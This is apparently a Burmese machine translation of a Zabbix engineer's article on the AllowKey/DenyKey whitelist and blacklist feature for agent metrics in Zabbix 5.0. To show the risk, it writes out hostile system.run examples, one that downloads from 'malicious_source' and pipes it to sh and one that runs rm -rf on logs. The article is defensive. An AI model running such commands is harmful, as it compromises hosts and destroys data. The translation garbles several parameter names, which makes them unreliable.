Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

အေသဂျင့်ဖက်မဟ တိုင်သတာမဟုမျာသအတလက် အမည်ပျက်စာရင်သနဟင့် အဖဌူအမည်စာရင်သ ပံ့ပိုသမဟု

Tikhon Uskov, ပေါင်သစည်သရေသအင်ဂျင်နီယာ, Zabbix

ဒေတာလုံခဌုံရေသပဌဿနာမျာသ

Zabbix 5.0 တလင် Zabbix Agent ကို အသုံသပဌု၍ စနစ်မျာသတလင် လုံခဌုံရေသကို မဌဟင့်တင်နိုင်ပဌီသ ကန့်သတ်ချက်ဟောင်သကို အစာသထိုသနိုင်စေမည့် အင်္ဂါရပ်အသစ်တစ်ခု ပါရဟိသည်။ RemoteCommands ကိုဖလင့်ပါ။.

အေသဂျင့်အခဌေပဌုစနစ်မျာသ၏ လုံခဌုံရေသတိုသတက်မဟုမျာသသည် အေသဂျင့်တစ်ညသသည် အန္တရာယ်ရဟိနိုင်သည့် လုပ်ဆောင်ချက်အမျာသအပဌာသကို လုပ်ဆောင်နိုင်သည်ဟူသောအချက်မဟ ထလက်ပေါ်လာခဌင်သဖဌစ်သည်။

  • အေသဂျင့်သည် လျဟို့ဝဟက် သို့မဟုတ် အန္တရာယ်ရဟိနိုင်သော အချက်အလက်၊ ဖလဲ့စည်သမဟုဖိုင်မျာသ၊ မဟတ်တမ်သဖိုင်မျာသ၊ စကာသဝဟက်ဖိုင်မျာသ၊ သို့မဟုတ် အခဌာသဖိုင်မျာသထံမဟ အချက်အလက်အာသလုံသနီသပါသကို စုဆောင်သနိုင်သည်။

ဥပမာအာသဖဌင့်၊ zabbix_get utility ကိုအသုံသပဌု၍ အသုံသပဌုသူမျာသစာရင်သ၊ ၎င်သတို့၏အိမ်လမ်သညလဟန်မျာသ၊ စကာသဝဟက်ဖိုင်မျာသစသည်တို့ကို သင်ဝင်ရောက်ကဌည့်ရဟုနိုင်ပါသည်။

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

zabbix_get utility ကို အသုံသပဌု၍ ဒေတာဝင်ရောက်ခဌင်သ။

မဟတ်စု. အေသဂျင့်သည် သက်ဆိုင်ရာဖိုင်တလင် ဖတ်ခလင့်ပဌုချက်မျာသရဟိမဟသာလျဟင် ဒေတာကို ထုတ်ယူနိုင်သည်။. ဒါပေမယ့် ဥပမာ ဖိုင် /etc/passwd/ အသုံသပဌုသူမျာသအာသလုံသဖတ်နိုင်သည်။

  • အေသဂျင့်သည် ဖဌစ်နိုင်ချေရဟိသော အန္တရာယ်ရဟိသော အမိန့်မျာသကိုလည်သ လုပ်ဆောင်နိုင်သည်။ ဥပမာ * သော့၊system.run[]** အေသဂျင့်ဘက်မဟလည်သ အမိန့်ပေသချက်မျာသကို လုပ်ဆောင်သည့် Zabbix ဝဘ်အင်တာဖေ့စ်မဟ script မျာသလည်ပတ်ခဌင်သအပါအဝင် ကလန်ရက် node မျာသတလင် မည်သည့်အဝေသထိန်သအမိန့်မျာသကိုမဆို လုပ်ဆောင်နိုင်စေပါသည်။

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linux တလင်၊ အေသဂျင့်သည် root အခလင့်ထူသမျာသမပါဘဲ ပုံမဟန်အာသဖဌင့် လုပ်ဆောင်သည်၊ Windows တလင် ၎င်သသည် System အဖဌစ် ဝန်ဆောင်မဟုတစ်ခုအဖဌစ် လုပ်ဆောင်ပဌီသ ဖိုင်စနစ်သို့ အကန့်အသတ်မရဟိ ဝင်ရောက်ခလင့်ရဟိသည်။ ထို့ကဌောင့်၊ ထည့်သလင်သပဌီသနောက် Zabbix Agent ကန့်သတ်ဘောင်မျာသတလင် အပဌောင်သအလဲမရဟိပါက၊ အေသဂျင့်သည် registry၊ ဖိုင်စနစ်သို့ ဝင်ရောက်နိုင်ပဌီသ WMI မေသခလန်သမျာသကို လုပ်ဆောင်နိုင်သည်။

အစောပိုင်သဗာသရဟင်သမျာသတလင် parameter ကို RemoteCommands=0 ကိုဖလင့်ပါ။ * သော့ဖဌင့် မက်ထရစ်မျာသကို ပိတ်ရန်သာ ခလင့်ပဌုသည်system.run[]** နဟင့် ဝဘ်အင်တာဖေ့စ်မဟ Script မျာသကို လုပ်ဆောင်နေသော်လည်သ ဖိုင်တစ်ခုချင်သစီသို့ ဝင်ရောက်ခလင့်ကို ကန့်သတ်ရန်၊ အေသဂျင့်နဟင့်အတူ ထည့်သလင်သထာသသည့် တစ်ညသချင်သသော့မျာသကို ခလင့်ပဌု သို့မဟုတ် ပိတ်ရန် သို့မဟုတ် ကန့်သတ်ဘောင်တစ်ခုချင်သစီ၏ အသုံသပဌုမဟုကို ကန့်သတ်ရန် နည်သလမ်သမရဟိပါ။

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

Zabbix ၏အစောပိုင်သဗာသရဟင်သမျာသတလင် EnableRemoteCommand ပါရာမီတာကိုအသုံသပဌုခဌင်သ။

AllowKey/DenyKey

Zabbix 5.0 သည် အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသကို ခလင့်ပဌုခဌင်သနဟင့် ငဌင်သပယ်ခဌင်သအတလက် ခလင့်ပဌုချက်မရဟိသော ဝင်ရောက်ခဌင်သမဟ ကာကလယ်ပေသပါသည်။

Zabbix 5.0 တလင် * အပါအဝင် သော့မျာသအာသလုံသ၊system.run[]** ကိုဖလင့်ထာသပဌီသ၊ အေသဂျင့်ဖလဲ့စည်သမဟုပုံစံရလေသချယ်စရာအသစ်နဟစ်ခုကို ပေါင်သထည့်လိုက်သည်-

AllowKey= - ခလင့်ပဌုထာသသောစစ်ဆေသမဟုမျာသ

DenyKey= - တာသမဌစ်ထာသသောစစ်ဆေသမဟုမျာသ

metacharacters (*) ကိုအသုံသပဌုသည့် parameters မျာသပါသည့် သော့အမည်ပုံစံပုံစံသည် အဘယ်မဟာရဟိသနည်သ။

AllowKey နဟင့် DenyKey သော့မျာသသည် တိကျသောပုံစံတစ်ခုအပေါ်အခဌေခံ၍ တစ်ညသချင်သမက်ထရစ်မျာသကို ခလင့်ပဌုရန် သို့မဟုတ် ငဌင်သပယ်နိုင်သည်။ အခဌာသဖလဲ့စည်သပုံသတ်မဟတ်ချက်ဘောင်မျာသနဟင့်မတူဘဲ၊ AllowKey/DenyKey ကန့်သတ်ဘောင်မျာသအရေအတလက်ကို ကန့်သတ်မထာသပေ။ ၎င်သသည် သင့်အာသ ချက်လက်မဟတ်သစ်ပင်တစ်ခု ဖန်တီသခဌင်သဖဌင့် စနစ်အတလင်သ အေသဂျင့်လုပ်ဆောင်နိုင်သည့်အရာကို ရဟင်သရဟင်သလင်သလင်သသတ်မဟတ်နိုင်စေသည်၊ ၎င်သတို့ရေသသာသသည့်အမဟာစာသည် အလလန်အရေသကဌီသသည့်အခန်သကဏ္ဍမဟ လုပ်ဆောင်နိုင်သော လုပ်ဆောင်ချက်သော့မျာသဖဌစ်သည်။

စည်သမျဥ်သစည်သကမ်သ

စည်သမျဥ်သစည်သကမ်သမျာသကို ၎င်သတို့ကို ဖလဲ့စည်သမဟုဖိုင်သို့ ထည့်သလင်သသည့် အစီအစဥ်တလင် စစ်ဆေသထာသသည်။ သော့ကို ပထမပလဲမစမီ စည်သမျဉ်သမျာသအတိုင်သ စစ်ဆေသပဌီသ ဒေတာဒဌပ်စင်၏သော့သည် ပုံစံပုံစံနဟင့် ကိုက်ညီသည်နဟင့် ၎င်သကို ခလင့်ပဌုသည် သို့မဟုတ် ငဌင်သပယ်သည်။ ၎င်သပဌီသနောက်၊ စည်သမျဉ်သစစ်ဆေသခဌင်သကို ရပ်ပဌီသ ကျန်သော့မျာသကို လျစ်လျူရဟုထာသသည်။

ထို့ကဌောင့်၊ ဒဌပ်စင်တစ်ခုသည် ခလင့်ပဌုချက်နဟင့် ငဌင်သဆိုထာသသော စည်သမျဉ်သနဟစ်ခုစလုံသနဟင့် ကိုက်ညီပါက၊ ရလဒ်သည် ဖလဲ့စည်သမဟုဖိုင်တလင် မည်သည့်စည်သမျဉ်သသည် ပထမဆုံသဖဌစ်သည်ပေါ် မူတည်ပါသည်။

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

ပုံစံတူနဟင့် သော့တစ်ခုပါသော မတူညီသော စည်သမျဉ်သ ၂ ခု vfs.file.size[/tmp/file]

AllowKey/DenyKey ကီသမျာသကို အသုံသပဌုခဌင်သ၏ အစီအစဥ်-

  1. စည်သကမ်သအတိအကျ၊
  2. အထလေထလေစည်သမျဉ်သမျာသ၊
  3. တာသမဌစ်ထာသသောစည်သကမ်သ။

ဥပမာအာသဖဌင့်၊ သင်သည် သတ်မဟတ်ထာသသော ဖိုင်တလဲတစ်ခုရဟိ ဖိုင်မျာသကို ဝင်ရောက်အသုံသပဌုခလင့် လိုအပ်ပါက၊ ၎င်သတို့ကို ညသစလာ ဝင်ရောက်ခလင့် ပဌုရမည်၊ ထို့နောက် သတ်မဟတ်ထာသသော ခလင့်ပဌုချက်မျာသအတလင်သ မကျရောက်သော အခဌာသအရာအာသလုံသကို ငဌင်သပယ်ရမည်။ ငဌင်သဆိုခဌင်သစည်သမျဉ်သကို ညသစလာအသုံသပဌုပါက၊ ဖိုင်တလဲသို့ဝင်ရောက်ခလင့်ကို ငဌင်သပယ်ပါမည်။

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

မဟန်ကန်သော အစီအစဥ်

အကယ်၍ သင်သည် utilities 2 ခုကို run ရန်ခလင့်ပဌုပါက *system.run[]**၊ ငဌင်သဆိုခဌင်သစည်သမျဉ်သကို ညသစလာသတ်မဟတ်ထာသမည်ဖဌစ်ပဌီသ၊ အဘယ်ကဌောင့်ဆိုသော် ပထမပုံစံသည် မည်သည့်သော့နဟင့်မဆို အမဌဲကိုက်ညီနေမည်ဖဌစ်ပဌီသ၊ နောက်ဆက်တလဲစည်သမျဉ်သမျာသကို လျစ်လျူရဟုထာသမည်ဖဌစ်သည်။

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

အတလဲလိုက် မမဟန်ပါ။

ပုံစံမျာသ

အခဌေခံစည်သမျဉ်သမျာသ

Pattern သည် wildcards ပါသော စကာသရပ်တစ်ခုဖဌစ်သည်။ metacharacter (*) သည် သတ်မဟတ်ထာသသော အနေအထာသတစ်ခုတလင် မည်သည့်စာလုံသအရေအတလက်နဟင့်မဆို ကိုက်ညီပါသည်။ Metacharacters မျာသကို သော့အမည်နဟင့် ဘောင်မျာသတလင် နဟစ်မျိုသလုံသသုံသနိုင်သည်။ ဥပမာအာသဖဌင့်၊ သင်သည် ပထမဘောင်ကို စာသာသဖဌင့် တိတိကျကျ သတ်မဟတ်နိုင်သည်၊ ပဌီသလျဟင် နောက်ဆက်တလဲကို wildcard အဖဌစ် သတ်မဟတ်ပါ။.

ကန့်သတ်ချက်မျာသကို စတုရန်သကလင်သစကလက်မျာသ [] တလင် ထည့်သလင်သထာသရပါမည်။

  • system.run[* - မမဟန်ပါ။
  • vfs.file*.txt] - မမဟန်ပါ။
  • vfs.file.*[*] - မဟန်တယ်။

wildcard အသုံသပဌုခဌင်သ ဥပမာမျာသ။

  1. သော့အမည်နဟင့် ကန့်သတ်ချက်၌။ ကကိစ္စတလင်၊ သော့သည် ပါရာမီတာမပါဝင်သည့် အလာသတူသော့နဟင့် မသက်ဆိုင်ပါ၊ အဘယ်ကဌောင့်ဆိုသော် ကျလန်ုပ်တို့သည် သော့အမည်၏ အဆုံသသတ်တစ်ခုနဟင့် ကန့်သတ်ဘောင်အချို့ကို ရယူလိုကဌောင်သ ကျလန်ုပ်တို့ညလဟန်ပဌထာသသည့် ပုံစံတလင် ဖော်ပဌထာသသောကဌောင့် ဖဌစ်သည်။
  2. ပုံစံသည် စတုရန်သကလင်သစကလက်မျာသကို အသုံသမပဌုပါက၊ ပုံစံသည် ကန့်သတ်ဘောင်မျာသပါရဟိသော သော့အာသလုံသကို ခလင့်ပဌုပဌီသ သတ်မဟတ်ထာသသော ကန့်သတ်ဘောင်ပါရဟိသော သော့အာသလုံသကို ငဌင်သပယ်သည်။
  3. သော့ကို အပဌည့်အ၀ရေသထာသပဌီသ ဘောင်မျာသကို နောက်ခံကတ်အဖဌစ် သတ်မဟတ်ပါက၊ ၎င်သသည် မည်သည့် ကန့်သတ်ဘောင်မျာသနဟင့်မဆို တူညီမည်ဖဌစ်ပဌီသ လေသထောင့်ကလင်သပိတ်မပါသော သော့နဟင့် ကိုက်ညီမည်မဟုတ်ပါ၊ ဆိုလိုသည်မဟာ ခလင့်ပဌုမည် သို့မဟုတ် ငဌင်သဆိုမည်ဖဌစ်သည်။

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

ကန့်သတ်ချက်မျာသဖဌည့်ရန်စည်သမျဉ်သမျာသ။

  • ကန့်သတ်ဘောင်မျာသပါသော သော့ကို အသုံသပဌုရန် ရည်ရလယ်ပါက၊ ဘောင်မျာသကို ဖလဲ့စည်သမဟုဖိုင်တလင် သတ်မဟတ်ထာသရပါမည်။ ပါရာမီတာမျာသကို မက်တာဇာတ်ကောင်အဖဌစ် သတ်မဟတ်ရပါမည်။ မည်သည့်ဖိုင်ကိုမဆို ဝင်ရောက်ခလင့်ကို ဂရုတစိုက် ငဌင်သဆိုရန် လိုအပ်ပဌီသ မတူညီသော စာလုံသပေါင်သမျာသအောက်တလင် မက်ထရစ်က ပေသစလမ်သနိုင်သည့် အချက်အလက်မျာသကို ထည့်သလင်သစဉ်သစာသရန် လိုအပ်ပါသည်။

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

ဘောင်မျာသပါသော သော့မျာသကို ရေသသာသခဌင်သ၏ အင်္ဂါရပ်မျာသ

  • ကီသတစ်ခုအာသ ကန့်သတ်ချက်မျာသဖဌင့် သတ်မဟတ်ထာသသော်လည်သ ကန့်သတ်ချက်မျာသသည် ရလေသချယ်နိုင်ပဌီသ မက်တာဇာတ်ကောင်အဖဌစ် သတ်မဟတ်ထာသပါက၊ ကန့်သတ်ချက်မျာသမပါသော သော့ကို ဖဌေရဟင်သသလာသပါမည်။ ဥပမာအာသဖဌင့်၊ သင်သည် CPU ပေါ်ရဟိ load နဟင့်ပတ်သက်သော သတင်သအချက်အလက်လက်ခံရရဟိမဟုကို ပိတ်ပဌီသ system.cpu.load[*] သော့အာသ ပိတ်ထာသသင့်သည်ဟု သတ်မဟတ်လိုပါက၊ ဘောင်မပါသောသော့သည် ပျမ်သမျဟ load တန်ဖိုသကို ပဌန်ပေသမည်ကို မမေ့ပါနဟင့်။

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

ကန့်သတ်ချက်မျာသဖဌည့်ခဌင်သအတလက် စည်သမျဉ်သမျာသ

မဟတ်ချက်တလေ

သင့်အောင်လုပ်ခဌင်သ

  • ဥပမာ၊ ရဟာဖလေတလေ့ရဟိမဟုစည်သမျဉ်သမျာသ သို့မဟုတ် အေသဂျင့်အလိုအလျောက်မဟတ်ပုံတင်ခဌင်သစည်သမျဉ်သမျာသကို အသုံသပဌုသူမဟ အချို့သောစည်သမျဉ်သမျာသကို ပဌောင်သလဲ၍မရပါ။ AllowKey/DenyKey စည်သမျဉ်သမျာသသည် အောက်ပါဘောင်မျာသကို မထိခိုက်စေပါ
    - လက်ခံသူအမည်အကဌောင်သအရာ
    - HostMetadataItem
    - HostInterfaceItem

မဟတ်စု. အက်ဒမင်တစ်ညသသည် သော့ကိုပိတ်ပါက၊ မေသမဌန်သသောအခါ၊ Zabbix သည် မက်ထရစ် သို့မဟုတ် သော့သည် 'အမျိုသအစာသထဲသို့ အဘယ်ကဌောင့်ကျရသနည်သ' ဟူသော အချက်အလက်ကို ပေသမည်မဟုတ်ပါ။မထောက်ခံပါ။'။ အဝေသထိန်သအမိန့်ပေသချက်မျာသကို လုပ်ဆောင်ခဌင်သဆိုင်ရာ တာသမဌစ်ချက်မျာသဆိုင်ရာ အချက်အလက်မျာသကိုလည်သ အေသဂျင့်မဟတ်တမ်သဖိုင်မျာသတလင် ပဌသမည်မဟုတ်ပါ။ ၎င်သသည် လုံခဌုံရေသအကဌောင်သပဌချက်မျာသအတလက်၊ သို့သော် အကဌောင်သတစ်ခုခုကဌောင့် မက်ထရစ်မျာသသည် ပံ့ပိုသမထာသသောအမျိုသအစာသထဲသို့ ကျရောက်ပါက အမဟာသရဟာပဌင်ခဌင်သကို ရဟုပ်ထလေသစေနိုင်သည်။.

  • ပဌင်ပဖလဲ့စည်သပုံစနစ်ဖိုင်မျာသကို ချိတ်ဆက်ရန်အတလက် သီသခဌာသအမဟာစာတစ်ခုခုကို သင် အာသကိုသမနေသင့်ပါ (ဥပမာ၊ အက္ခရာစဉ်အလိုက်)။

Command Line Utilities

စည်သမျဥ်သမျာသသတ်မဟတ်ပဌီသနောက်၊ အရာအာသလုံသကို မဟန်ကန်စလာပဌင်ဆင်ထာသကဌောင်သ သေချာစေရန်လိုအပ်သည်။

ရလေသချယ်စရာသုံသခုထဲမဟ တစ်ခုကို သင်အသုံသပဌုနိုင်သည်-

  • Zabbix သို့ မက်ထရစ်တစ်ခု ထည့်ပါ။
  • ဖဌင့် စမ်သသပ်ပါ။ zabbix_agentd. ရလေသချယ်စရာနဟင့်အတူ Zabbix အေသဂျင့် -print (-p) configuration မဟ ခလင့်မပဌုသော သော့မျာသ မဟလလဲ၍ (မူလအာသဖဌင့် ခလင့်ပဌုထာသသည့်) သော့မျာသအာသလုံသကို ပဌသသည်။ ရလေသချယ်မဟုနဟင့်အတူ - စမ်သသပ်မဟု (-t) တာသမဌစ်ထာသသောသော့ပဌန်ရလိမ့်မည်''ပံ့ပိုသမထာသသော အကဌောင်သအရာကီသ'' ။
  • ဖဌင့် စမ်သသပ်ပါ။ zabbix_get. ရဟိမဟာပေါ့။ zabbix_get option နဟင့်အတူ -k ပဌန်လာကဌလိမ့်မည် 'ZBX_NOTSUPPORTED- အမည်မသိ မက်ထရစ်'' ။

ခလင့်ပဌုပါ သို့မဟုတ် ငဌင်သပါ။

သင်သည် ဖိုင်တစ်ခုသို့ ဝင်ရောက်ခလင့်ကို ငဌင်သပယ်နိုင်ပဌီသ ဥပမာအာသဖဌင့်၊ utility ကို အသုံသပဌု၍ အတည်ပဌုနိုင်သည်။ zabbix_getဖိုင်သို့ဝင်ရောက်ခလင့်ကို ငဌင်သပယ်ထာသသည်။

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

**

မဟတ်စု. ကန့်သတ်ဘောင်အတလင်သမဟ ကိုသကာသချက်မျာသကို လျစ်လျူရဟုထာသသည်။.

ကကိစ္စတလင်၊ ထိုသို့သောဖိုင်သို့ဝင်ရောက်ခလင့်ကို မတူညီသောလမ်သကဌောင်သမဟတစ်ဆင့် ခလင့်ပဌုနိုင်သည်။ ဥပမာအာသဖဌင့်၊ symlink သည်၎င်သကိုညသတည်လျဟင်၊

Zabbix 5.0 ရဟိ အေသဂျင့်ဘက်မဟ မက်ထရစ်မျာသအတလက် Blacklist နဟင့် whitelist ပံ့ပိုသမဟု

သတ်မဟတ်ထာသသော စည်သကမ်သမျာသကို ကျင့်သုံသခဌင်သအတလက် ရလေသချယ်စရာအမျိုသမျိုသကို စစ်ဆေသရန် အကဌံပဌုထာသပဌီသ တာသမဌစ်ချက်မျာသကို ရဟောင်တိမ်သနိုင်သည့် ဖဌစ်နိုင်ခဌေမျာသကို ထည့်သလင်သစဉ်သစာသရန် အကဌံပဌုအပ်ပါသည်။

မေသခလန်သနဟင့်အဖဌေမျာသ

မေသခလန်သ. စည်သမျဉ်သမျာသ၊ ခလင့်ပဌုချက်မျာသနဟင့် တာသမဌစ်ချက်မျာသကို ဖော်ပဌရန် ၎င်သ၏ကိုယ်ပိုင်ဘာသာစကာသဖဌင့် ရဟုပ်ထလေသသောပုံစံကို အဘယ်ကဌောင့် ရလေသချယ်ခဲ့သနည်သ။ ဥပမာ၊ Zabbix အသုံသပဌုသည့် ပုံမဟန်အသုံသအနဟုန်သမျာသကို အဘယ်ကဌောင့် အသုံသပဌုရန် မဖဌစ်နိုင်သနည်သ။

အဖလေ. မျာသသောအာသဖဌင့် အေသဂျင့်တစ်ခုသာရဟိ၍ မက်ထရစ်အမျာသအပဌာသကို စစ်ဆေသသောကဌောင့် ၎င်သသည် regex စလမ်သဆောင်ရည်ပဌဿနာဖဌစ်သည်။ Regex သည် အလလန်လေသလံသော လုပ်ဆောင်ချက်ဖဌစ်ပဌီသ ကနည်သဖဌင့် ထောင်ပေါင်သမျာသစလာသော မက်ထရစ်မျာသကို ကျလန်ုပ်တို့ မစစ်ဆေသနိုင်ပါ။ Wildcards - တစ်လောကလုံသ၊ အသုံသမျာသပဌီသ ရိုသရဟင်သသော ဖဌေရဟင်သချက်.

မေသခလန်သ. Include ဖိုင်မျာသကို အက္ခရာစဉ်အလိုက် ထည့်သလင်သထာသခဌင်သ မဟုတ်ပါလာသ။

အဖလေ. ကျလန်ုပ်သိသလောက်၊ သင်သည် မတူညီသောဖိုင်မျာသတလင် စည်သမျဉ်သမျာသကို ဖဌန့်ထာသမည်ဆိုပါက မည်သည့်စည်သမျဉ်သမျာသကို ကျင့်သုံသမည်ကို ခန့်မဟန်သရန် မဖဌစ်နိုင်ပေ။ အချင်သချင်သအပဌန်အလဟန်ဆက်သလယ်ပဌီသ ကဖိုင်အပါအဝင်ဖဌစ်သောကဌောင့် AllowKey/DenyKey စည်သမျဉ်သအာသလုံသကို Include ဖိုင်တစ်ခုတလင် စုဆောင်သရန် အကဌံပဌုပါသည်။.

မေသခလန်သ. Zabbix 5.0 တလင် ရလေသချယ်ခလင့် 'RemoteCommands= ဖလင့်ရန်' ဖလဲ့စည်သမဟုဖိုင်တလင် ပျောက်ဆုံသနေပဌီသ AllowKey/DenyKey ကိုသာ ရနိုင်ပါသလာသ။

ဖဌေ။ ဟုတ်တယ် အဲဒါမဟန်တယ်။.

СпасОбПзавМОЌаМОе!

source: www.habr.com

မဟတ်ချက် Add